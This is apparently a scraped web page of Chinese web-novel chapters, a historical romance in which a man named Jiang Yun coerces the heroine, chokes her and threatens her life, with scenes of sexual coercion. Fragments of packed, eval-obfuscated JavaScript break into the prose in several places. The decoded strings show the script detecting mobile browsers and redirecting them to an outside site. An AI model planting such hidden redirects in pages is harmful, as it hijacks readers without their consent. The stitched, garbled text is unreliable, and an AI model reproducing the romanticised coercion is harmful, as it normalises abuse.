d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006755|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那程菩专门设了个据点,只为找到那位失踪的九殿下,又是为了什么? 她想不明白,只管着低头往前走,身后蕴娘忽然轻轻扯住了她的袖子: “姑娘,姑娘。” 她抬起头,只见江昀站在几步之外,漠然看着她,面庞半边隐在阴影里,清俊之余,却又莫名有种阴寒沉郁之感。 江昀走上前来,说道: “薛姐姐,借一步说话。” 蕴娘看了看薛宓娴,开口道: “时候不早,姑娘今日事多繁忙,这会儿该是倦乏了。江公子若是没有要紧事,不如明日再说。” 江昀没有分神看蕴娘一眼,只是上前一步,迈出了阴影,微微低头,注意力全放在了薛宓娴的身上。 他的神色淡然,在薛宓娴的面前开了口: “是吗?” 不过是简简单单两个字,却让她不由得腿软,有种想要不顾一切逃离此处的冲动。 可对上江昀视线的那一瞬,她就知道,自己这回是逃不掉的。 江昀往日里做那些事的时候,都是避着旁人的,这会儿明目张胆让蕴娘知晓,今日她的腰腿和身子,应是不会受什么罪的。 实在没什么好怕他的。 薛宓娴在心里给自己壮胆,回头对蕴娘说道: “你且先回去,我一会儿便来。” …… 四下无人,薛宓娴深吸一口气,刚开口说了句“你又有什么事”,话音未落,就被他揽着腰,按在墙边。 他捏着她的脸,二话不说地低头吻她。 这个吻有些用力,带着一点轻咬的钝痛,却并不长久,痛感如同飘在半空的烟雾,一触即散。 她还来不及为此做出回应,便已经感觉不到了。 转而,又由痛感牵起了其它感觉,配合着其他熟练的动作,将她缓缓吞没。 那阵强烈的感觉,瞬间便将她的神魂从地面抛上云端。她在茫然的虚无中漂泊无依,只能将眼前人视作救命稻草,任他所为。 她忍不住想要出声,但又被他尽数吞咽,最后只能发出含混不清的唔唔声,并着温热的泪水,从眼尾处滑落。 分开的瞬间,江昀手指蹭在她的脸侧,唇上的胭脂晕开,积攒起的眼泪,将她那双漂亮的眼眸染得湿红又诱人。 只是简单的亲吻,她却剧烈地喘着气,声音颤抖: “昨日,你才……” 在他的注视下,后面的话,她没法说出口: “今日,你便放过我,好不好?” 江昀没有回答,只是哼笑一声,俯身凑近: “我若是离了府,你会何时跟程菩成亲?” 薛宓娴猜不透他问及此事的用意: “不知道。” 她浑身一颤,握着他的手腕,咬着唇,声音也跟着发抖: “别,你别。” “我真的不知道,或许是来年。” 江昀嗤笑一声: “这么久?看来程二哥娶你的心意不诚啊。” 和你有什么关系? 薛宓娴偷偷瞪了他一眼,在心里呛声,却不敢在面上表现出来。 “我只是提醒姐姐,莲芝的事,不管程二哥接下来对你说什么,都不要再插手了。” 薛宓娴心下一凉: “为什么?” “是你杀了她,对不对?” 江昀抬起她的下巴,用力有点重,让她有些想躲,温热的吐息洒落而下,身前的盈软汹涌起伏。 他凑近了些,微微偏头: “姐姐早就怀疑我了,不是吗?” “如果,我未能及时制住那个婆子,那天早上,还会不会有人容你留住体面,作为老夫人最疼爱的姑娘,与我相见?” 薛宓娴不可置信: “所以,你就杀了她,还要杀了莲芝?” 江昀有些不耐地“啧”了一声: “只有死人才不会泄密,这个道理,程菩没有教过你?” “还有——” 他轻轻咬着薛宓娴的耳垂,留下一道浅浅的齿痕,舌尖却又轻柔扫过,仿佛在做什么标记: “莲芝所做的事情,注定了她是活不成的。” 薛宓娴喘息着,下意识地开口: “莲芝不过是为二哥哥做事,与你有什么关系?” 江昀眸光冷冷,不等她反应过来,已然自觉出方才言语之间的纰漏。 他的手搭上她的颈,缓缓收紧,血脉的搏动轻轻震在掌心,似乎是提醒着他,只要下定决心,就可以了结此事。 薛宓娴渐渐呼吸不畅,她仰起头,痛苦地蹙着眉,无力地拍打着他的手,同时努力尝试着为自己争取生机。 江昀适时松了手,抵着她的肩: “莲芝的下场,你看见了。” “若想活下去,就不要打探你不该知道的事。” 薛宓娴抬眸看着他,捂着颈呛咳了几声,睫羽上悬着的泪轻轻滴下。 江昀抬起她的脸,指腹蹭去她的泪: “说了这么久,倒真有些渴了。” 薛宓娴不解其意: “那……我去倒些茶来?” 她却渐渐升起一种不好的预感: “你,这般看着我做什么?” 江昀将她带入侧屋,毫不费力地托起她的身子,放在了窗台上。 薛宓娴不敢挣扎乱动,生怕翻摔下去: “你……” 他蹲下身子,最后抬眸看了她一眼: “那就,劳烦姐姐了。” 薛宓娴仰起头,渐渐回过神来,脸色烧红,意识到了他的言外之意,顿觉后悔。 可惜,为时已晚,他已经如愿了。 16. 荒唐 是夜,疏星点点,皎月朗朗。 薛宓娴惊坐而起,喘了一会儿,摸了摸自己发烫的脸,渐渐从方才的梦中回过神来。 不过,倒并非是什么邪祟的梦。 梦里,她身披喜服,手执团扇,与身侧的夫君拜了高堂,饮下合卺酒。 而后,扇面倾斜,她瞧见的夫君并非程菩,而是江昀。 他满手鲜血,摸上她的脸,不容她反抗,紧紧将她的身子箍着。 他逼着她看向屋外—— 满地横尸,血染青石。 而离她最近的,恰是程菩。 他身穿喜服,却被人一剑封喉,手紧紧攥着,眼直直地看过来,死不瞑目。 江昀轻咬着她的耳朵,像之前那样吻她,将她的双手反剪身后,音色清润,却又有种鬼魅般的阴寒: “他们都死了。” “往后,你便是我的人了。” “……” 薛宓娴裹紧被子,只感觉遍体生寒,她不知自己为何会有这样诡异的梦。梦里的江昀熟悉又陌生,让她害怕。 她不敢再睡,索性悄悄起了身。 前些天,她向蕴娘学了些女工针线的手艺,本是想着打发时间,恰好程老夫人送了些香料来,正巧能够做几个荷包。 灯下,细细的银针牵引着丝线,从布料中穿过,薛宓娴长叹一声,逼着自己平心静气,好赶快将那个可怖的梦忘掉。 只是一个梦而已。 她没什么好怕的。 这么想着,薛宓娴心下似乎稍稍安心了些,隐隐听见窗户处传来响动,以为是起了风,便想着要去关上。 刚走到窗前,她缓缓抬起头。 正对上屋外江昀那似笑非笑的玉面。 极度恐惧之下,她张开嘴,却连叫喊都发不出声,一瞬间心跳剧烈得仿佛要把身体震碎,面上血色尽失,手脚冰冷,忍不住浑身发抖,跌坐在了地上。 自从她惊醒之后,江昀便一直看着她。 他皱起眉,绕了段路,推开正门走进去,毫不费力地把她从地上捞着抱起,送回榻上。 屋里的灯灭了,他单手盖住她的眼睛,另一只手不知是按了身上何处的穴位。 薛宓娴只觉自己的意识在茫然虚无中缓缓散开,不一会儿便沉沉睡去。 江昀移开自己的手,低下头,望着美人恬静的睡颜,哼笑一声,手指沿着柔软的唇勾描片刻,最后俯身吻了上去。 …… 这几日,薛宓娴一直待在自己房中,有意躲着江昀,同时深切盼着能立刻得到他已经离府的消息。 可惜,她的愿望落了空。 程菩不知怎的,忽然执意让江昀多住几日,要他过了中秋再离开。 江昀也并未推拒,顺势应承了下来。 另外,程菩派人来回话,称害死莲芝的凶手并非素音,而是一位疯疯癫癫的老婆子。 她原本留在柴房干些粗活,不知从哪弄来了毒药,那日失手放在了送给莲芝的茶水里,这才酿成大祸。 至于赵婆子,素音坚决否认,却有另一个婆子主动跳出来认了罪,称其因嫉恨冲昏了头,一时激愤而杀了她。 那婆子认得坦然,让薛宓娴几乎没有任何能够通过辩驳保下她的余地。 这定是江昀的手笔。 两个凶手按规矩赶出了府,被程菩移送给了府衙,按律处置。只是,莲芝与赵婆子已无亲近之人在世,他便亲自为她们母女挑了个风水好的地方,立了块坟,也算是尽了主家的本分。 因着那天江昀的话,虽然此事薛宓娴确实无辜,但她总觉得,是自己有愧于她们。 若非她一时疏忽,中了程荇的昏招,赵婆子就不会撞见江昀。若非她那日粗心,莲芝也不会误饮毒茶。 倘若她再仔细谨慎一些,是不是她们本可以幸免于难? 薛宓娴去了莲芝的坟前。 她端端正正地磕了头,将自己精心折好的纸元宝悉数烧去,按照庙里师父教她的,诚心念了几句经。 她本是不信这些的,可是,望着面前跳动的火簇,再想到莲芝跪在自己面前,声声殷切唤着阿娘的模样,便又忍不住落下泪来。 身侧不知何时来了一人。 江昀低头看她: “瞒着程二哥出门,就是为了做这事?” 薛宓娴低头不语,只是珠泪落得更急。 江昀嗤笑一声,半蹲下身子,小臂随意地搭在膝上,漫不经心地抬起了她的脸。 薛宓娴含泪看他,柳眉微蹙,睫羽轻颤。 湿红的桃花眸中带着哀伤与悔恨,被泪水打湿的碎发贴在瓷玉般的颊侧,为她描上了一分恰到好处的脆弱,任谁见了都会心生怜爱。 她看着江昀,缓缓道: “府里的婆子为你做了替罪羊。如此手段,你的良心便能安放下么?” 江昀从不对她解释自己所做所为,因为他觉着并无必要,只冷笑着开口: “良心?” 他凑近了看薛宓娴,冰冷的眸光中淬着淡漠的寒意: “若想要活下去,最先要割舍下的,便是如你这般的妇人之仁。” 薛宓娴握着他的手腕,狠狠甩开。 江昀没有料到她会如此反抗,怔了一下。 只见她擦去脸上的泪水,盈然起身,退后了几步,抬头看着他,眸光中似是悲悯,又似是愤恨: “分明有那样多神不知鬼不觉的手段,为何偏偏要杀了她们?” “这天下但凡是个人,都有血肉之心。就算不能感同身受旁人的苦难,也至少不会如你这般冷血无情,只知自己面前的利益,浑然不顾其他……” 江昀显然并未被她说的话触动,只是将手搭在了她的腰上,步步逼近: “看来,程二哥没教过你——” 他低头凑近,轻嗅她鬓发间清浅的淡香: “这个世上,只有死人才不会泄密。” 不知怎的,他这般语气,薛宓娴没来由地又想起了那个噩梦,想起了梦中浑身是血的程菩,想起了在身后紧抱着自己的可怖恶鬼…… 江昀紧紧扣住她的腰,细密的啄吻落在她的颈侧: “不过这亦无妨。” 他故意捏着她的脸,语气中似是带着几分轻佻玩味之意: “姐姐无需知晓这些事。玉貌窈姿,才是你最该倚仗的东西。” “只要你听从于我,做好该做的,我自然不会将你如何。” “否则,她们二人,便是你的下场。” 他只将她当作一件称心赏玩的物品。 物品不需要有感情,只需要有价值。 只要她尚有这般明艳姿容,只要她尚是程菩的未婚妻,便是有价值的。 薛宓娴不受他的威胁,挣扎几下,努力想把他推开,却不料他的手在自己的腰上越缠越紧,甚至缓缓向上。 她的颈被扼住,没有剥夺呼吸,只是这种命脉被人控制着的感觉,让她不由自主地挺起身子,恰巧方便了他的举动。 …… 风动青荫,暗香疏影。 江昀没有得寸进尺,尽兴后便缓缓松了手,还自认为好心地替她整了整那因手掌探入而变得凌乱的衣裙。 他贴着她的脸,将她耳上的玉坠缓缓含入口中,舌尖顺势勾上她的耳垂: “姐姐。” “我们尚未试过野/合。” 薛宓娴怔了片刻,随即用力将他推开,自己因为惯性后退了几步,也不多理论,几乎是落荒而逃。 江昀看着她离去的背影,哼笑了一声,颇为不屑。 他并未移动分毫,又等了一会儿,才悠然转过身,只见风升恰时出现,递上一封信: “程菩有意不让殿下离开,只怕心里已然有了怀疑。钱庄的事,他想必已是怀疑到了殿下身上。” “顾及安危,殿下若是只为了……实在不必冒险出府。” 江昀只当没听见,冷冷地看完信: “既然程菩已经有所察觉,我自然不可坐以待毙。” 风升低下头,无需多言,已然对他的决策心知肚明。 …… “今儿怎还未到中秋?” 薛宓娴搁下手中的书,颇有几分委屈地看向一旁正在添香的蕴娘。 蕴娘不知她在想什么,只是笑着哄道: “好姑娘,这会儿还不到八月。那会儿十五的事,还早着呢。” “不过,姑娘若是想在那天送二公子荷包,可得抓紧了。” 薛宓娴刚想说什么,便听程老夫人派人来请她过去。 屋外,莳莺打起竹帘,好心提醒: “是沈家的人来了,老太太想让姑娘陪陪大夫人。” 步入其内,只见程老夫人靠在软枕上,另一边的红木圈椅内,坐着一位面生的夫人,接过婢女手中的茶,抿了一口。 而沈楹未施脂粉,站在程老夫人身侧,哭红的眼睛肿着,脸上隐隐透出几分虚弱的病色,若非一旁的霜娘搀着,怕是随时会倒下去。 薛宓娴替过霜娘,安抚地轻轻拍着沈楹的背,替她顺气。 程老夫人并未急着开口,又等了一会儿,只见程荇走了进来,在她面前跪下。 “给老太太请安。” 他面上虽不情愿,碍于程老夫人在堂上坐着,只得用尽浑身解数,挤出几分虚伪的愧色来,陪笑道: “那日我原是喝多了酒,才对楹娘说了那些混账话。这些日子惊着了您,着实该罚。” 程老夫人哼了一声,一拍案几: “有了楹娘这般知书达理的美人胚子,你怎的有脸面再去动些歪心思!” “尽让那些外头不知路数的狐媚女人近了你的身,丢了世家公子的身份不说,还白白让你夫人生一场气。” “若是楹娘有个万一,你该如何担待得起?” 薛宓娴与沈楹对视了一眼,知晓程老夫人多半还不知程荇从旁人手里弄了迷情药来的事。 另外,月娘虽是花满楼出来的人,可也是有规矩的。若非程荇率先言行有失,也不会闹成如今这般局面。 只是,程老夫人话里话外的意思,尽在为程荇开脱,虽是抬了沈楹一手,却又有种打算胡乱息事宁人的态度。 沈家夫人自然听得明白。 可是,和薛宓娴想的不一样,沈夫人没有任何不满之意,只是笑着开口道: “老太太可是抬举楹儿了。要我说,此事楹儿也有错,大公子年轻气盛,青年才俊,在外头有几个红颜知己,算不得什么。” “打小各家夫人可不都是这般过来的?也就楹儿往日在家里被老爷宠得娇气了些,竟为了这点小事闹起和离来。” 程荇这会儿倒是有眼力见了,得了一分便宜,顺杆就爬,作揖道: “月娘的事,我都同家里交代了。沈楹气我,原是应分的。我这些日子都在向她赔罪,只是连累夫人大老远地跑一趟,多有惭愧。” 他口中说着赔罪的话,面上却瞧不出半分诚心悔过的模样。 更何况,据薛宓娴所知,程荇根本没有和沈楹道过一句不是,沉浸在撺掇素音给他当妾一事上,早不知天地为何物了。 沈楹听了这些话,气得浑身发抖。 不知不觉间,她的手紧紧掐上了薛宓娴的胳膊,似是以此来寻求几分安慰,哪怕只是杯水车薪。 薛宓娴蹙起眉,她替沈楹觉得委屈,更替她觉着不值。 这里何曾有程荇说话的份? 不干不净的男人,就该挨上几个大巴掌,扔去湖里沉塘喂鱼才对。 沈夫人又道: “瞧瞧,大公子这些日子都在赔不是。悔过至此,楹儿,你也不该恼他了。和离一事,权当是小孩子家说嘴,听过便罢了,当不得真的。” …… 谁知沈楹根本不吃这一套。 她抹去脸上的泪,走上前,扬起胳膊,对准程荇的脸,只听“啪”一声,程荇脸上便重重挨了巴掌: “当着老太太的面,你还敢扯谎!” 薛宓娴此时走上前,装模作样地捧起沈楹的手,轻轻地吹了吹: “沈姐姐,手可疼了?” 程荇气得牙痒痒,刚想翻脸,忽然听见程老夫人一声咳嗽,顿时偃旗息鼓,瘪了下去。 沈楹转向沈家夫人,哭道:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017781|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你又算什么?和离与否,可问过爹爹没有?程荇欺负我这般,非要我死了,你们才肯甘心放过我么?” 沈夫人不理会她,只是看向程老夫人: “老太太,您是明事理的人。我虽是沈老爷的续弦,但对膝下子女,都是一样的疼爱。此事亦是老爷允准的,我怎敢擅作主张?” 程荇跪在地上,直起腰板,冷不丁道: “楹娘,你有孕在身,还是莫要这般动气了。” …… 此言一出,屋内除了程老夫人,都愣住了。 程老夫人见过大世面,端起茶,问道: “这是何时的事?” 程荇顶着沈楹的目光,嘿嘿笑了一声: “那夜我回来,你本是睡着的。可我瞧你许久未见你,所以才动了情。谁曾想,那一夜便有了。” 他的混账程度,说是标新立异也不为过。 “前些日子,府上大夫为你诊脉的时候告诉我。确有此事,日子也对得上。” 他拍了拍手,只见一位大夫走了进来,说了类似的言语。 沈楹这会儿已经顾不上生气了,她绝望地落下泪来,身子一软,气血上涌,竟是晕了过去。 薛宓娴与婢女将沈楹扶进里间榻上,另有大夫来为她施针,顺道留了一纸安胎的方子。 外间,说话的声音隐隐传过来。 “如此,我便先回去了。” “……” “楹儿既嫁入了程家,便是程家的媳妇。老爷说了,二公子对沈家帮衬甚多,感激之情,难以言表。” “楹儿年纪小,偶尔出事不周到,还望大公子和老太太多担待些……” 沈楹还不够周到吗? 她平日里待程家上下,可以说是倾尽所有,从未出过什么闪失。 薛宓娴不理解。 她不理解同为受过苦难迫害的女人,为何沈夫人说出那番话时,可以如此坦然,脸不红心不跳。 她不理解素日里和蔼慈祥的程老夫人,为何此时忽然像变了个人般,只顾着为自己的孙子说话,仿佛看不见昔日沈楹付出的点点滴滴。 沈楹在他们面前,如同刀俎上的鱼肉,只能等待刀落下的那一刻,挣扎不过徒劳。 …… 几次穿针都扎了手,薛宓娴叹了口气,索性将手里的东西放下,问道: “沈姐姐如何了?” 蕴娘答道: “方才去问过了,说是喝了碗米汤,已经睡下了,大公子陪着呢。” 她打量着薛宓娴的脸色,开口道: “姑娘莫要担心,二公子不是那般的人。姑娘的福气,要比大夫人好上许多呢。” 薛宓娴摇了摇头,站起身: “我去找二哥哥说会儿话,不必跟着了。” 走进程菩的院子前,她便已听见里头传来争执之声,几个小丫头慌得手足无措,拉着她的袖子: “薛姑娘,你可算来了。莳莺姐姐说老太太和老爷歇下了,不管这样的事。姑娘快去劝劝,让大公子和二公子莫要吵了。” 薛宓娴推开门,只见满屋狼藉,桃木架歪倒着,书卷被人扫了一地。 素音绞着帕子,站在一旁,不敢说话,只是红着眼睛看了薛宓娴一眼,又把头低了下去。 程菩见了薛宓娴,呼出一口浊气: “你不用在我这儿撒泼打滚。若当真想扶个妾室,去和老太太说。” “再不济问问老爷,看他会不会让你现在就滚出府去。” 程荇把素音拉了过来,扯着嗓子: “有何不可?素音都应了我,唯独你在这儿计较。” “你就是打量着我说漏了你钱庄里的亏心事。你若是当真怕那些个人报复,当初何必做了那等子事!” 素音抖如筛糠,呜咽了一声,又挨了程荇一记推搡: “你哭什么?能抬你做个妾,已是天大的荣光,莫要不识好歹,给脸不要脸。” 程菩冷声道: “闭嘴。” “我且问你,钱庄的事,是你做的?” 程荇一时气急,快嘴道: “便是我又如何?” “还闭嘴,你以为你是谁?我可是你兄长,你瞧瞧自己,还有半分当弟弟的尊重样子?” 趁他嚷嚷的功夫,薛宓娴眼疾手快,把素音拉到自己的身后护着: “天色不早了,大公子还是回去歇着为好。” 程菩皱起眉,看向程荇: “你干的那些混账事,暂且不论。只说一句,你可知钱庄是什么地方?若是出了事,你便会是第一个死在那些人手里的。” 程荇不屑: “你不就是怕皇后么?一个女人,值得你这般如临大敌?可笑至极。” 程菩冷冷看着他,未置一词,但见程荇自己先一步心虚,移开了视线。 他转过身,如同逗弄猫狗那般招了招手: “素音,过来。” 素音哭得更厉害了,薛宓娴心一横,以身拦在她面前: “大公子……” 她顿了一下,接道: “大公子,您不该强迫素音的。” 程荇斗不过程菩,未曾想连薛宓娴都敢跟自己作对,当即怒从心来: “滚开,你算什么东西。就是沈楹在这儿,也不会拦我。” 程菩立刻站起身,蓄力走了过来,二话不说,迎面给了他一拳。 程荇躲了几次,不肯吃亏,也还了手。 薛宓娴先让素音出去,随后唤来人,自己则去拉架。 她手上颇有分寸,完全是在拉偏架。 只可惜,程菩身子骨弱,不过来回几次,便已是气喘吁吁,面色涨得通红,连连呛咳。 莳莺走了进来: “老太太打发我来,看看是出了什么事?” 程荇不敢打他弟弟,毕竟程菩体弱多病,今儿闹了架,明日就得传大夫。要是一不小心,让程菩出了岔子,往后谁来给他做的脏事善后? 故而,他选择拿薛宓娴出气。 他随手抄起身侧的白瓷杯盅,朝着薛宓娴砸了过去。 17. 暂别 瓷片四分五裂,莳莺大惊: “大公子!” 程菩想要出手,为时已晚。 一滴殷红的血滴了下来,落在碎瓷中央。 薛宓娴按着伤口止血,瓷盅中还有些残茶,一并泼在了她的衣裙上。 大脑中一时间只剩下空白,她怔了片刻,才觉出有阵阵跳跃般的钝痛,自伤口处传来。 所有人中,最先反应过来的是莳莺。 她一边上前扶着薛宓娴,一边高声让人把程荇带走,剩下的婢女该拿伤药的,该去请大夫的,各归其位。 程菩双目通红,方才和程荇打斗,衣衫都被扯乱了,朝着薛宓娴走过来的时候,不由自主地一个踉跄,而后将她扶住: “对不住,都怨我的不是。” 薛宓娴温柔地笑了笑,伤口处的疼痛已经让她无暇再多说些什么: “此事不怪二哥哥的。” 程荇扭过头,攥紧了拳头,一时的冲动褪去,望着面前的弟弟和薛姑娘,淡淡的悔意涌上心头。 但他拉不下脸面去道歉,故而只是想逃。 薛宓娴叫住了他: “大公子。” 程荇回过头,只见薛宓娴柔声道: “素音,往后便留在我身边吧,她是个伶俐的姑娘,也不该委屈了人家,是不是?” 程荇此刻理亏,虽心有不满,但念及她因自己而受了伤,故而只是嚷嚷道: “你要去便是,不必同我多说。” 说完,他也不敢看她,跟着小厮转身跑了。 …… 屋内,蕴娘拿来了干净的衣裳,自素音手中接过喷过酒的帕子,边清理伤口,边心疼道: “姑娘,好端端地去拉架做什么。大公子向来便是个冲动的性子,再说了,老爷和老太太向来都是偏着他的。” 薛宓娴疼得倒吸一口凉气,缓了缓,便看向一旁垂头抹泪的素音,说道: “都过去了,你既已离了他的院子,想来他也不能将你如何。往后,你便多帮帮蕴娘,可好?” 素音俯身跪下,哽咽道: “姑娘今日恩情,我此生没齿难忘。若非出了莲芝的事,让大公子瞧见了我,他是不会动了这个心思的。” “我平日里不是大公子处近身伺候的,只管些针线缝补的活计,还请姑娘替我告诉大夫人,我绝无勾引上位之心。” 薛宓娴的唇上有一道浅浅的咬痕,是她方才忍痛所致,此刻眸中被逼出了一点生理性的眼泪来,更有几分柔软可人: “是他言行有失在先,自然不关你的事。沈姐姐的为人,大家都看在眼里,你尽管安心便是。” 蕴娘在伤口上涂了药,仔细包扎好,便将她扶去榻上歇着,叮嘱道: “姑娘晚上睡觉注意些,切莫压着了。若是伤口崩开,说不准是要留疤的。” “外头备了止痛的药,大夫说,让姑娘明日服用,今日便好好歇息。” 薛宓娴点了点头,说道: “多谢你。素音,你也去洗洗脸,换身衣裳。” “蕴娘,若是有安神汤,劳烦可给素音也送去一份。” 安顿妥当好,她闭上眼,长舒一口气,平息下来后,被创药刺激着的伤口传来阵阵刺痛,翻来覆去,竟让她难以忽略。 折腾许久,反倒弄出半身冷汗来。 薛宓娴索性坐起,听见门扇响动,转头望去,只见灯下映着江昀冷冷的脸。 他神色冷然淡漠,薄唇轻抿,眉头微微皱起,看起来似乎是心有不悦。 “江公子深夜造访,礼数不周,还请见谅。” 薛宓娴没有起身,她累得很,这会儿根本不想再分神去应付他。 江昀坐在她的身侧,冷声道: “手上的伤口,让我瞧瞧。” 四目相对,薛宓娴感觉他的目光如同深渊中深处的触手,紧紧缠上她身上的每一寸肌肤,无论何时都有种附骨的寒意,似是打在她身上的烙印。 在他的视线的圈附中,她下意识地有些紧张,再顾不上疼痛,整个人都越发清醒,甚至将自己受了伤的那只手欲盖弥彰地往身后藏了藏: “这……伤口一侧贴在衣裳里面,多有不便。” 江昀嗤笑一声,并无动作,只是紧紧盯着她: “你身上何处是我没见过的?” 他凑近了些,无甚感情地勾了勾唇角,哑声道: “便是程二哥都无福见识的,我也尝过。这会儿在我面前,还遮掩什么?” “衣裳脱了,我替姐姐上药。” 薛宓娴看着他,伸手拢住自己的衣襟,声音越来越轻,带着几分微弱的抗拒: “不,不用麻烦。” “我已经上过药了。” 江昀不为所动,微微偏头: “脱了。” 他并不上手,只是这么看着她。 等了一会儿,美人没有动作。 他也不着急,不过是换了个坐姿,却见薛宓娴身体忽然颤了一下,紧接着眼神虽害怕又不情愿,但那修长白皙的手指如柔荑般,勾住了那件里衣,而后轻轻一扯。 月光透过薄薄的纱幔,落在白璧无瑕的雪肩上,视线再往下落,有意绕过身前满盈的弧,便是柔软的小腹。 微微挺直了些,但见身后那楚楚纤腰中际,有一道浅浅陷下去的沟线,隐隐显现出的软窝,似是触之可及。 喉结上下滚了滚,他的呼吸有些急促,如此画面,不免让他心生摇曳,从而生出些不合时宜的念想来。 薛宓娴的身体颤栗着,往旁边躲了躲: “你……你别看。” 江昀垂眸,淡淡笑了一下,将她揽过来,自怀中取出一个小瓷瓶,拆开她伤口上缠着的布。 沾了水的湿帕轻轻点过她的伤口,他动作很轻,神色却是淡淡的,让人瞧不出他在想什么。 伤药敷了上来,初时是冰凉的,很是舒服。待缓过了适应期,便有一阵隐隐的热意,并不灼痛,只是温润细密地沁入肌肤,若非刻意去想,当真感觉不出来。 手指不经意间蹭过她的肌肤,她不自觉地躲了一下,却被握住手腕, 妥帖地再次包扎好,江昀呼出一口气,侧身避开视线,倒是难得有几分端方君子样。 薛宓娴立刻明白其中意思,她将衣裳拢上,但是方才被他触碰过的地方,微微有点发麻。 丝丝缕缕的痒意自骨髓深处漫上四肢,仿佛这样的触碰于她而言,已经意味着会带来什么强烈的感觉。 江昀看着她,忽然笑了一下: “在想什么?” 薛宓娴脸上泛起一片薄红,只是在暗室内看不真切: “我在想,今日出了这样的事,该如何同老太太解释。” 江昀嗤笑一声,毫不留情地拆穿道: “姐姐,你想的是这个么。” 他的手撑在她的腿侧,连带着身下的影子,一起朝着她压了过来。 那熟悉而又凛冽的气息,瞬间便让她软了身子,待回过神来的时候,自己的手不知何时已经勾上了他的颈,情态亲昵,如同鸳鸯交颈,掀起半池涟漪。 江昀笑了一下,眸中透出几分与他平日气质不符的天真来,似乎还隐隐有几分孩子气的得意。 他微微低下头,与她的额紧紧相贴,鼻尖轻蹭,交换着彼此失控的呼吸。 他一言未发,可薛宓娴却没来由地有些害羞,扭着身子想躲,只是顾及着身上的伤口,动作幅度受限,倒像是往人怀里钻。 江昀抬手按在她的颈后: “姐姐。” “世人都说投桃报李,我帮了你那么多回,是不是也该轮到你了?” 薛宓娴抬眸看着他,心跳得很快: “可我不会。” 她不知道自己在说什么,意识到的时候,似乎已经晚了。 脸上的红烧成了一片,她想把自己埋进被子里,却是未遂。 他握上她没有受伤的手,哑声道: “姐姐,帮我。” …… 程老夫人知晓了程荇伤了薛宓娴一事,发了好一通脾气,连带着老爷程涵都唯唯诺诺,不敢说半句话,只能一个劲儿地陪着笑,将儿子程菩往前推。 程菩自是挨了一通训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021154|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥,只是那日和大哥争吵,受了一番气,郁结于心,又病倒了。 薛宓娴心里过意不去,赶去安慰道: “我没事,老太太这会儿在气头上,委屈二哥哥了。” 程菩从不会将脾气迁到旁人身上,只是笑了笑: “是我不好,老太太责我骂我,都是应当的。” “听说孙家夫人今日来看了嫂嫂,她说什么了?” 薛宓娴顿了一下,回答道: “她……因沈姐姐和离一事落了空,孙家人也不肯轻易放了她,先是狮子大开口要了一笔银子,而后不知何时有翻出她表弟借钱的旧账来,说她是个只图钱财的贪妇。” “最后,和离变成了休妻。” 后面的事,薛宓娴不用再说了。 颠倒黑白的事,总是要人自证清白的。 可奇怪的是,如果那人是个男人,大抵说几句闲话,讲些什么“不过是年轻人,犯了错也是有的”这类的句子,便能轻易开脱过去。 但主角变成了女人,旁人却总是会以最恶劣的言辞去揣测她,即便这件事不是真的,也会平白编出些莫须有的罪名,到头来,就落得一句“这女人本就不老实”的下场。 程菩知道她在想什么,轻轻握着她的手,安慰道: “此事,是程荇有过在先。” “我即便是昔日里帮了沈家,也不该以嫂嫂的幸福作为代价偿还。这件事从头来便是错的,我不该自作主张为他们牵线。” 薛宓娴说道: “可沈姐姐眼下有着身孕,大夫说,她先前积劳成疾,几次落红未能修养得当。这一胎纵是危险,可若是不当心没了,沈姐姐只怕也经不得。” “况且,程荇做的丑事,万不能让沈姐姐用她的身子承担。” 程菩点了点头,温声道: “所言极是,待她修养好了,我便想办法送她回去。至于月娘,也是个可怜人,落入程荇手里,连累这般不得安宁。” 薛宓娴虽欢喜,却总觉着其中阻碍重重: “可老太太……” 程菩笑着摇了摇头: “信不过我么?我自有办法解决。” 薛宓娴这才稍稍安心,又听他说道: “中秋祭月,也该办场宴事。只是如今府中无人操持,便不勉强了。” 他说完,咳了好几声,唇色发白,瞧着十分可怜。 薛宓娴递了茶来,担忧道: “二哥哥的身子,的确不如前日了。” “何不再请人来瞧瞧?” 程菩咳了咳: “不碍事。” “我意思是,江小公子中秋后便要离府了。我已让人安排下去,你不用再操心着去送他。” 已经仔仔细细查过江昀,并无不妥之处。 于情于理,他都应当放人。 …… 可此事压根由不得薛宓娴决定。 翌日清晨,她与江昀在院中遇见,错身而过的瞬间,只听他轻声道: “临别之际,我有厚礼相赠。” 什么厚礼? 薛宓娴想起那件尚被江昀霸占着的小衣,顿觉不安,因而不敢马虎,打听到了他离府的时间,还是起身去送。 小厮正替往车上装着东西,说是老太太托他带去江家的,算是一份心意,莫要推辞。 趁着无人的功夫,薛宓娴拉住他的袖子: “到底有何事?” 江昀将一个小匣子递给她,而后,自作主张地从她手中顺走了荷包。 